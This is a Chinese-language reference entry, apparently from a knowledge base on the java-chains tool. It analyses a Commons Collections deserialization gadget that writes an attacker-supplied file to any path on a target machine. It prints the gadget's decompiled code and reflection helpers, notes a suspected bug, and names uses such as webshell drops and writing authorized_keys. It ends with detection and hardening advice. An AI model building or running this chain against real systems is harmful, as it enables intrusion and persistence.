- 类别:javanative 别名:(无) 优先级:(未设置)
- 作者:(未标注)
- 依赖:
<=commons-collections 3.2.1、<=commons-collections 4.0
构造一段 Commons Collections 的 Transformer[] 变换链,使其在被触发(ChainedTransformer.transform)时依次反射调用 FileOutputStream(String).write(byte[]),把构造 payload 时读入的一份本地文件内容,写入目标机上的任意路径——即一个实现「任意文件写入 / 文件上传落地」效果的 Transformer sink 构件,而非 RCE。它是 TransformerWithExec 的同族兄弟,区别仅在于内层反射调用序列由「执行命令」换成「写文件」。
- 入口
tags:TransformerChains、ENDTransformerChains:表明本 gadget 产出的是「Transformer 数组」这一半成品,需由上游能消费 Transformer 链的 gadget(其nextTags含TransformerChains,如 CommonsCollectionsK3 / CommonsCollectionsK4)承接并塞入ChainedTransformer.iTransformers。END:本 gadget 是链尾 sink,自身产出最终变换数组,其后不再拼接任何 gadget。
- 衔接
nextTags:(空)——作为 END 节点没有下一环。 excludes:(空)。
注:
tags表示「本 gadget 承接哪种上一环」;此处TransformerChains语义上是「本 gadget 属于 Transformer-链体系、可被 Transformer 消费者收口」。真正驱动执行的上游是 K3/K4 之类以nextTags={TransformerChains}声明的 gadget。
public Object getObject() throws Exception {
File file = new File(this.localFilepath);
if (!file.exists()) {
throw new FileNotFoundException(this.localFilepath + " not found!");
}
byte[] bytes = Files.readAllBytes(file.toPath()); // ① 生成阶段即读入本地文件
LinkedList<Object> transformers = new LinkedList<Object>();
transformers.add(this.createConstantTransformer(FileOutputStream.class)); // ②
transformers.add(this.createInvokerTransformer("getConstructor",
new Class[]{Class[].class}, new Object[]{new Class[]{String.class}})); // ③
transformers.add(this.createInvokerTransformer("newInstance",
new Class[]{Object[].class}, new Object[]{new Object[]{this.remoteFilepath}})); // ④
transformers.add(this.createInvokerTransformer("write",
new Class[]{byte[].class}, new Object[]{bytes})); // ⑤
return this.createTransformerArray(transformers); // ⑥
}逐段解释(对应 ChainedTransformer 执行时「上一 Transformer 的输出即下一 Transformer 的输入」的传递规则):
- ① 文件内容在payload 构造/序列化阶段(生成侧机器上)通过
Files.readAllBytes一次性读入,字节整体嵌入 payload。因此localFilepath指的是攻击者构造机上的源文件;若不存在,立即抛FileNotFoundException,payload 无法生成。 - ②
ConstantTransformer(FileOutputStream.class):无视输入,恒定返回java.io.FileOutputStream的Class对象,作为链的起点常量。 - ③
InvokerTransformer("getConstructor", …):对上一步的FileOutputStream.class反射调用getConstructor(String.class),得到FileOutputStream(String)构造器对象。 - ④
InvokerTransformer("newInstance", …):对该构造器调用newInstance(remoteFilepath),在目标机上以remoteFilepath为路径new FileOutputStream(remoteFilepath)(打开/创建文件)。 - ⑤
InvokerTransformer("write", …):对上一步得到的FileOutputStream实例调用write(bytes),把 ① 嵌入的字节写入目标文件,完成落地。 - ⑥
createTransformerArray把LinkedList转成与 CC 版本匹配的真实Transformer[]数组(下见基类)。
净效果:读构造机的 localFilepath → 反序列化时写到目标机的 remoteFilepath,实现任意文件写入 / webshell 落地 / 覆盖配置等。
本类的 createConstantTransformer / createInvokerTransformer / createTransformerArray 均继承自基类,全部通过反射按运行环境的 CC 版本加载对应类,避免把 org.apache.commons.collections(4) 硬编译进构件:
public void initClazz(String version) throws ClassNotFoundException {
if (version.equals("3")) {
this.transformerClazz = Class.forName("org.apache.commons.collections.Transformer");
this.constantTransformerClazz = Class.forName("org.apache.commons.collections.functors.ConstantTransformer");
this.invokerTransformerClazz = Class.forName("org.apache.commons.collections.functors.InvokerTransformer");
this.instantiateTransformer = Class.forName("org.apache.commons.collections.functors.InstantiateTransformer");
} else if (version.equals("4")) {
this.transformerClazz = Class.forName("org.apache.commons.collections4.Transformer");
this.constantTransformerClazz = Class.forName("org.apache.commons.collections4.functors.ConstantTransformer");
// …commons-collections4 对应类…
} else {
ThrowsUtil.throwGadgetException("CC " + version + " not found");
}
}
public Object createTransformerArray(LinkedList<Object> transformers) throws ClassNotFoundException {
Object transformerArray = Array.newInstance(this.transformerClazz, transformers.size()); // 造 Transformer[]
for (int i = 0; i < transformers.size(); ++i) Array.set(transformerArray, i, transformers.get(i));
return transformerArray;
}
public Object createConstantTransformer(Object args) throws Exception {
return Reflections.newInstance(this.constantTransformerClazz.getName(), new Class[]{Object.class}, args);
}
public Object createInvokerTransformer(Object ... args) throws Exception {
return Reflections.newInstance(this.invokerTransformerClazz.getName(),
new Class[]{String.class, Class[].class, Object[].class}, args);
}version 由上游 gadget 写入 context:K3 写 CC_VERSION_3、K4 写 CC_VERSION_4(见各自 invoke)。因此同一个 TransformerWithFileWrite 既能给 CC3.2.1 也能给 CC4.0 出链,靠反射选类,不引入编译期依赖。
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
String version = context.getString(ContextTag.CC_VERSION);
this.initClazz(version); // 先据上游写入的 CC 版本初始化反射类
return chain.doCreate(context); // ← 注意:返回的是 doCreate,而非 this.getObject()
}对照同族且结构完全平行的 TransformerWithExec,其 invoke 末尾是 return this.getObject();——即「初始化版本类后,返回自己拼好的 Transformer[] 数组」。而本类返回的是 chain.doCreate(context)。
结合框架 GadgetChainImpl.doCreate 的语义(按 index 顺序取下一个 gadget 的 invoke 结果;index >= total 时返回 null):
// GadgetChainImpl.java(节选)
public Object doCreate(GadgetContext context) throws Exception {
if (this.index < this.total) {
int current = this.index++;
Gadget gadget = this.gadgetList.get(current);
return gadget.invoke(context, this); // 逐个推进 index
}
return null; // 越界即 null
}本 gadget 带 END 标签、位于链尾,其内再次调用 chain.doCreate 会越过列表末端而返回 null。也就是说,按此份反编译源码,getObject() 精心拼好的文件写入数组并未被 invoke 返回给上游——上游 K3/K4 拿到的将是 null,ChainedTransformer.iTransformers 被置空,链失效。
结论(如实标注,符合本知识库「已知缺陷需据实记录」的写作纪律):以 现有反编译内容为准,TransformerWithFileWrite.invoke 相对兄弟类存在一处疑似缺陷——return chain.doCreate(context) 处应为 return this.getObject。防御方在评估「该构件是否真能生效」时应知悉这一点;但写文件的原理与能力仍以 getObject 为准(其他 Transformer 系列构件、以及历史 CC 链均按 getObject 语义工作)。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
localFilepath |
本地文件路径 | payload 构造机上待读取的源文件;生成时 Files.readAllBytes 读入并嵌入 payload,不存在则抛 FileNotFoundException |
(无) | (自由输入) |
remoteFilepath |
目标文件路径 | 目标机上要写入/覆盖的绝对或相对路径,反序列化时以 new FileOutputStream(remoteFilepath).write(bytes) 落地 |
(无) | (自由输入) |
- 依赖版本:
commons-collections <= 3.2.1(v3 分支)或commons-collections4 <= 4.0(v4 分支)。二者由上游 K3(CC3)或 K4(CC4)通过ContextTag.CC_VERSION选择,本构件用initClazz反射适配,不硬编译依赖。 - 触发要点:本构件只产出
Transformer[],不含触发点。真正的「反序列化 → 触发transform」由上游负责:K3 走LazyMap.get → ChainedTransformer.transform(TiedMapEntry+HashSet),K4 走PriorityQueue → TransformingComparator.compare → ChainedTransformer.transform。 - 能力边界:效果是任意文件写入,不是命令执行;适合落 webshell、覆盖配置/计划任务、写
.ssh/authorized_keys等间接提权路径。是否成功取决于目标进程对remoteFilepath的写权限与路径可达性。 - 文件内容固定:写入内容在构造阶段即冻结(字节内嵌 payload),运行时不再读取;因此同一 payload 写出的内容是确定的。
- 实现差异:见上文「源码剖析 3)」——本类
invoke未返回getObject(),需按实际 java-chains 1.4.4 行为验证是否可直接出链。
自由构件,未直接出现在任何预设链(usedInChains 为空)。可按标签与 CC 消费者手动组合,典型形态:
[CommonsCollectionsK3, TransformerWithFileWrite](CC3.2.1,LazyMap触发)[CommonsCollectionsK4, TransformerWithFileWrite](CC4.0,PriorityQueue/TransformingComparator触发)
- 上游消费者(
nextTags=TransformerChains):CommonsCollectionsK3、CommonsCollectionsK4 - 同族兄弟(同为
AbstractTransformer的TransformerChains/ENDsink):TransformerWithExec(命令执行)、TransformerWithTemplatesImpl、TransformerWithJNDI、TransformerWithBcel、TransformerWithURLClassLoader、TransformerWithSleep 等 - 基类:
AbstractTransformer
- 依赖治理:升级/移除
commons-collections3.2.1 及commons-collections44.0;3.2.2+ 对InvokerTransformer默认反序列化做了限制。杜绝不可信数据进入 Java 原生反序列化入口。 - 序列化指纹:流量/日志中出现
ChainedTransformer+InvokerTransformer+ConstantTransformer组合,且InvokerTransformer方法名为getConstructor/newInstance/write、载体类为java.io.FileOutputStream,是本 sink 的强特征(区别于命令执行版的Runtime/exec)。 - 运行时检测:反序列化线程栈中出现
FileOutputStream.<init>(String)→FileOutputStream.write(byte[]),且调用者位于commons.collections(.functors)变换器栈帧,属高危异常写文件行为。 - 落地面监控:对 Web 目录、
.ssh、计划任务、启动项等敏感路径的意外文件写入告警;反序列化服务进程按最小权限运行,剥夺对上述路径的写权限。 - 黑白名单:启用 JEP 290 /
ObjectInputFilter或 SerialKiller 类白名单,拦截org.apache.commons.collections(.functors).*Transformer。